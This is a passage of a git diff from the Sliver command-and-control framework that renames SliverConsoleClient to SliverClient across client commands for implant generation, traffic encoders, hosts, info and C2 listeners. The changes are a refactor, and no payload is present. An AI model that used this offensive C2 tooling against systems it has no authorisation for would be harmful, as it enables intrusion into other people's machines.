clientpb.StageProtocol lhost, _ := cmd.Flags().GetString("lhost") if lhost == "" { diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 9e105e31bd..b51bfc30fa 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -89,7 +89,7 @@ var ( ) // GenerateCmd - The main command used to generate implant binaries -func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { return @@ -127,7 +127,7 @@ func expandPath(path string) string { return filepath.Join(os.Getenv("HOME"), path[1:]) } -func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (string, error) { +func saveLocation(save, DefaultName string, con *console.SliverClient) (string, error) { var saveTo string if save == "" { save, _ = os.Getwd() @@ -182,7 +182,7 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } // Shared function that extracts the compile flags from the grumble context -func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig { +func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) *clientpb.ImplantConfig { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { name = strings.ToLower(nameF) @@ -405,7 +405,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl } // parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled -func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) { +func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) { trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders") encoders := []*commonpb.File{} if trafficEncoders != "" { @@ -425,7 +425,7 @@ func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *consol return false, encoders } -func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) { +func getTargets(targetOS string, targetArch string, con *console.SliverClient) (string, string) { /* For UX we convert some synonymous terms */ if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" { targetOS = "darwin" @@ -778,7 +778,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { potentialBuilders, err := findExternalBuilders(config, con) if err != nil { return nil, err @@ -901,7 +901,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli return nil, nil } -func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) { +func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { if config.IsBeacon { interval := time.Duration(config.BeaconInterval) con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval) @@ -994,7 +994,7 @@ func getLimitsString(config *clientpb.ImplantConfig) string { return strings.Join(limits, "; ") } -func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { if format == clientpb.OutputFormat_EXECUTABLE { return true // We don't need cross-compilers when targeting EXECUTABLE formats } @@ -1035,7 +1035,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC return false } -func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool { +func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool { con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch) switch targetOS { case "windows": @@ -1053,7 +1053,7 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar return confirm } -func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) { +func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverClient) ([]*clientpb.Builder, error) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { return nil, err @@ -1079,7 +1079,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCon return validBuilders, nil } -func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) { +func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) { choices := []string{} for _, builder := range builders { choices = append(choices, builder.Name) diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index f234c09159..41ade08c58 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -12,7 +12,7 @@ import ( ) // GetSliverBinary - Get the binary of an implant based on it's profile -func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) { +func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient) ([]byte, error) { var data []byte // get implant builds builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) @@ -59,7 +59,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol } // FormatCompleter completes builds' architectures. -func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { +func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { @@ -93,7 +93,7 @@ func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { } // FormatCompleter completes build operating systems -func OSCompleter(con *console.SliverConsoleClient) carapace.Action { +func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { @@ -136,7 +136,7 @@ func FormatCompleter() carapace.Action { } // TrafficEncoderCompleter - Completes the names of traffic encoders -func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action { +func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index acb6f6b92e..f9b539e2d5 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -12,7 +12,7 @@ import ( ) // ImplantsRmCmd - Deletes an archived implant build from the server -func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 5553188b0a..826c2f9bd8 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -44,7 +44,7 @@ type ImplantBuildFilter struct { } // ImplantsCmd - Displays archived implant builds -func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -60,7 +60,7 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintImplantBuilds - Print the implant builds on the server -func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) { +func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -124,7 +124,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl } // ImplantBuildNameCompleter - Completer for implant build names -func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action @@ -194,7 +194,7 @@ func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action } // ImplantBuildByName - Get an implant build by name -func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig { +func ImplantBuildByName(name string, con *console.SliverClient) *clientpb.ImplantConfig { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { return nil diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index f83ab231e2..fcc05e53ae 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -30,7 +30,7 @@ import ( ) // ProfilesGenerateCmd - Generate an implant binary based on a profile -func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index 8d04ff0a85..04f9c5b4c3 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -27,7 +27,7 @@ import ( ) // ProfilesNewCmd - Create a new implant profile -func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -50,7 +50,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // ProfilesNewBeaconCmd - Create a new beacon profile -func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index 4015c4ea87..55bc75289f 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -30,7 +30,7 @@ import ( ) // ProfilesRmCmd - Delete an implant profile -func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 2fc45faa77..592e0b62fc 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -36,7 +36,7 @@ import ( ) // ProfilesCmd - Display implant profiles -func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profiles := getImplantProfiles(con) if profiles == nil { return @@ -50,7 +50,7 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintProfiles - Print the profiles -func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) { +func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -97,7 +97,7 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso con.Printf("%s\n", tw.Render()) } -func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile { +func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -107,7 +107,7 @@ func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantPro } // GetImplantProfileByName - Get an implant profile by a specific name -func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile { +func GetImplantProfileByName(name string, con *console.SliverClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -264,7 +264,7 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string } // PrintProfileInfo - Print detailed information about a given profile -func PrintProfileInfo(name string, con *console.SliverConsoleClient) { +func PrintProfileInfo(name string, con *console.SliverClient) { profile := GetImplantProfileByName(name, con) if profile == nil { con.PrintErrorf("Could not find a profile with the name \"%s\"", name) @@ -421,7 +421,7 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { } // ProfileNameCompleter - Completer for implant build names -func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 2720a383df..65a69eae1f 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -29,7 +29,7 @@ import ( ) // RegenerateCmd - Download an archived implant build/binary -func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { save, _ := cmd.Flags().GetString("save") if save == "" { save, _ = os.Getwd() diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 539d4dd3c0..899033907e 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -43,7 +43,7 @@ import ( ) // TrafficEncodersCmd - Generate traffic encoders command implementation -func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() encoderMap, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) @@ -55,7 +55,7 @@ func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar } // DisplayTrafficEncoders - Display traffic encoders map from server -func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverConsoleClient) { +func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -84,7 +84,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console } // TrafficEncodersAddCmd - Add a new traffic encoder to the server -func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -167,7 +167,7 @@ func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { } // displayTrafficEncoderTests - Display traffic encoder tests in real time -func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverConsoleClient) { +func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverClient) { listenerID, events := con.CreateEventListener() defer con.RemoveEventListener(listenerID) lineCount := 0 @@ -192,7 +192,7 @@ func displayTrafficEncoderTestProgress(testID string, completed chan interface{} } // clearLines - Clear a number of lines from the console -func clearLines(count int, con *console.SliverConsoleClient) { +func clearLines(count int, con *console.SliverClient) { for i := 0; i < count; i++ { con.Printf(console.Clearln + "\r") con.Printf(console.UpN, 1) @@ -200,7 +200,7 @@ func clearLines(count int, con *console.SliverConsoleClient) { } // displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written -func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverConsoleClient) int { +func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -246,7 +246,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest } // TrafficEncodersRemoveCmd - Remove a traffic encoder -func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, cancel := con.GrpcContext(cmd) defer cancel() @@ -273,7 +273,7 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClie } // SelectTrafficEncoder - Select a traffic encoder from a list -func SelectTrafficEncoder(con *console.SliverConsoleClient) string { +func SelectTrafficEncoder(con *console.SliverClient) string { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() encoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go index e9a92634ef..dcb7f97b6a 100644 --- a/client/command/hosts/commands.go +++ b/client/command/hosts/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { hostsCmd := &cobra.Command{ Use: consts.HostsStr, Short: "Manage the database of hosts", diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index b8b2ad47fc..f75ec4ec6e 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -27,7 +27,7 @@ import ( ) // HostsIOCRmCmd - Remove a host from the database -func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index b52d409995..2fa469eee2 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -34,7 +34,7 @@ import ( ) // HostsIOCCmd - Remove a host from the database -func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HostsIOCCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -48,7 +48,7 @@ func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string { +func hostIOCsTable(host *clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(table.StyleBold) tw.AppendHeader(table.Row{"File Path", "SHA-256"}) @@ -61,7 +61,7 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) { +func SelectHostIOC(host *clientpb.Host, con *console.SliverClient) (*clientpb.IOC, error) { // Sort the keys because maps have a randomized order, these keys must be ordered for the selection // to work properly since we rely on the index of the user's selection to find the session in the map var keys []string diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index 0066ed5305..f0b4aca451 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -27,7 +27,7 @@ import ( ) // HostsRmCmd - Remove a host from the database -func HostsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HostsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index 5655183884..ab81194921 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -47,7 +47,7 @@ var ( ) // HostsCmd - Main hosts command -func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s", err) @@ -60,7 +60,7 @@ func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } } -func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string { +func hostsTable(hosts []*clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -96,7 +96,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { +func hostSessions(hostUUID string, con *console.SliverClient) string { hostSessions := SessionsForHost(hostUUID, con) if len(hostSessions) == 0 { return "None" @@ -108,7 +108,7 @@ func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { return fmt.Sprintf("%d", len(sessionIDs)) } -func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { +func hostBeacons(hostUUID string, con *console.SliverClient) string { beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { return "Error" @@ -127,7 +127,7 @@ func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { } // SessionsForHost - Find session for a given host by id -func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session { +func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { return []*clientpb.Session{} @@ -142,7 +142,7 @@ func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clien } // SelectHost - Interactively select a host from the database -func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) { +func SelectHost(con *console.SliverClient) (*clientpb.Host, error) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { return nil, err diff --git a/client/command/info/commands.go b/client/command/info/commands.go index 64582c6877..c33aef06d1 100644 --- a/client/command/info/commands.go +++ b/client/command/info/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { infoCmd := &cobra.Command{ Use: consts.InfoStr, Short: "Get info about session", @@ -32,7 +32,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } // SliverCommands returns all info commands working on an active target. -func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { +func SliverCommands(con *console.SliverClient) []*cobra.Command { pingCmd := &cobra.Command{ Use: consts.PingStr, Short: "Send round trip message to implant (does not use ICMP)", diff --git a/client/command/info/info.go b/client/command/info/info.go index b49083ab02..468e84fb71 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -33,7 +33,7 @@ import ( ) // InfoCmd - Display information about the active session -func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error // Check if we have an active target via 'use' @@ -111,7 +111,7 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // PIDCmd - Get the active session's PID -func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -124,7 +124,7 @@ func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // UIDCmd - Get the active session's UID -func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -137,7 +137,7 @@ func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // GIDCmd - Get the active session's GID -func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -150,7 +150,7 @@ func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // WhoamiCmd - Displays the current user of the active session -func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -195,7 +195,7 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) { +func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverClient) { if cto.Response != nil && cto.Response.Err != "" { con.PrintErrorf("%s\n", cto.Response.Err) return diff --git a/client/command/info/ping.go b/client/command/info/ping.go index e09ae18410..600ef4c513 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -11,7 +11,7 @@ import ( ) // PingCmd - Send a round trip C2 message to an implant (does not use ICMP) -func PingCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index 17f255a77c..7ecf238d94 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { // Job control jobsCmd := &cobra.Command{ Use: consts.JobsStr, diff --git a/client/command/jobs/dns.go b/client/command/jobs/dns.go index fc447adab6..1c58ec32e2 100644 --- a/client/command/jobs/dns.go +++ b/client/command/jobs/dns.go @@ -29,7 +29,7 @@ import ( ) // DNSListenerCmd - Start a DNS lisenter -func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domainsF, _ := cmd.Flags().GetString("domains") domains := strings.Split(domainsF, ",") for index, domain := range domains { diff --git a/client/command/jobs/http.go b/client/command/jobs/http.go index f4ac3941f6..d97b39d815 100644 --- a/client/command/jobs/http.go +++ b/client/command/jobs/http.go @@ -29,7 +29,7 @@ import ( ) // HTTPListenerCmd - Start an HTTP listener -func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") diff --git a/client/command/jobs/https.go b/client/command/jobs/https.go index 474c32b799..5f3233b2fa 100644 --- a/client/command/jobs/https.go +++ b/client/command/jobs/https.go @@ -32,7 +32,7 @@ import ( ) // HTTPSListenerCmd - Start an HTTPS listener -func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index e65ff66911..ff958e761a 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -37,7 +37,7 @@ import ( ) // JobsCmd - Manage server jobs (listeners, etc) -func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if pid, _ := cmd.Flags().GetInt32("kill"); pid != -1 { jobKill(uint32(pid), con) } else if all, _ := cmd.Flags().GetBool("kill-all"); all { @@ -62,7 +62,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // PrintJobs - Prints a list of active jobs -func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) { +func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -91,7 +91,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) } // JobsIDCompleter completes jobs IDs with descriptions. -func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { @@ -112,7 +112,7 @@ func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } -func jobKill(jobID uint32, con *console.SliverConsoleClient) { +func jobKill(jobID uint32, con *console.SliverClient) { con.PrintInfof("Killing job #%d ...\n", jobID) jobKill, err := con.Rpc.KillJob(context.Background(), &clientpb.KillJobReq{ ID: jobID, @@ -124,7 +124,7 @@ func jobKill(jobID uint32, con *console.SliverConsoleClient) { } } -func killAllJobs(con *console.SliverConsoleClient) { +func killAllJobs(con *console.SliverClient) { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/jobs/mtls.go b/client/command/jobs/mtls.go index 89f87cbe34..93256d8c84 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/jobs/mtls.go @@ -28,7 +28,7 @@ import ( ) // MTLSListenerCmd - Start an mTLS listener -func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { 